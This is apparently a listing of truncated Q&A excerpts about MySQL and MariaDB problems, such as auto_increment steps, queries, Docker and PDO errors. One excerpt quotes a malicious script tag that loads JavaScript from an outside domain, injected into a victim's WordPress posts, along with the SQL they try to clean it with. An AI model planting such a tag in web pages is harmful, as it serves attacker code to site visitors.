I have noticed that in my mysql server, the auto_increment setting increments by 3, for example 3 6 9 12 15 etc. All the tables in the database are having the same problem. I'm using mariadb 10.5 on debian 10.…
I have 5 users which have a column 'shop_access' (which is a list of shop IDs eg: 1,2,3,4) I am trying to get all users from the DB which have a shop ID (eg. 2) in their shop_access Current Query:…
I have an SQL table that contains some info about projects and roughly looks like the table below. In this table a project may have multiple instances because it has multiple tasks. Each task will have a status and every…
I need 10 random ids at time. I need to get a new set of random ids every time I ask for a new set, but the new ones must not include any of the ones I already got from…
i try to use docker for use wordpress with https, but that not work, i have the message : wordpress | MySQL Connection Error: (2002) Connection refused version: "3.8" services: db: image: mysql:5.7 volumes: - db_data:/var/lib/mysql restart: always environment: MYSQL_ROOT_PASSWORD:…
DROP PROCEDURE CREATE_DUPLICATE_PRODUCT; DELIMITER $$ CREATE PROCEDURE `CREATE_DUPLICATE_PRODUCT`(IN `old_course_id` INT(25), IN `new_course_id` INT(25)) BEGIN DECLARE db_cursor CURSOR FOR SELECT lic.org_id, lic.course_id, lic.license_duration_typeid, lic.insert_date, lic.insert_by, lic.quantity FROM cdp_organization_licenses as lic JOIN cdp_organization_license_settings as sett ON sett.org_license_id = lic.id JOIN cdp_organization_purchases as…
Episode is about hiding passwords. I receive an error refreshing localhost - 'could not find driver' after making config.php as shown in the video. Connection.php <?php class Connection { public static function make($config) { try { /* return new PDO('mysql:host=localhost:3306;dbname=schema_test',…
I would like to connect my 1and1 mySQL Database on an Express App Node.JS with the mysql npm package but when I tried to connect the console send me back this: Error: getaddrinfo ENOTFOUND <DB_HOST_NAME> I looked on the 1and1…
My phpmyadmin is infected with this kind of script: <script src='https://scripts.lowerbeforwarden.ml/src.js?n=ns1' type='text/javascript'></script> I am trying to remove them all by running this script into SQL UPDATE wp_posts SET post_content = (REPLACE (post_content, “<script src='https://scripts.lowerbeforwarden.ml/src.js?n=ns1' type='text/javascript'></script>”, "")); But I am getting…
I am doing an online course from coursera where they tolm me to install phpmyadmin. NOW I am a total beginner in this thing so I am not able to do much research upon that and now somehow, after I…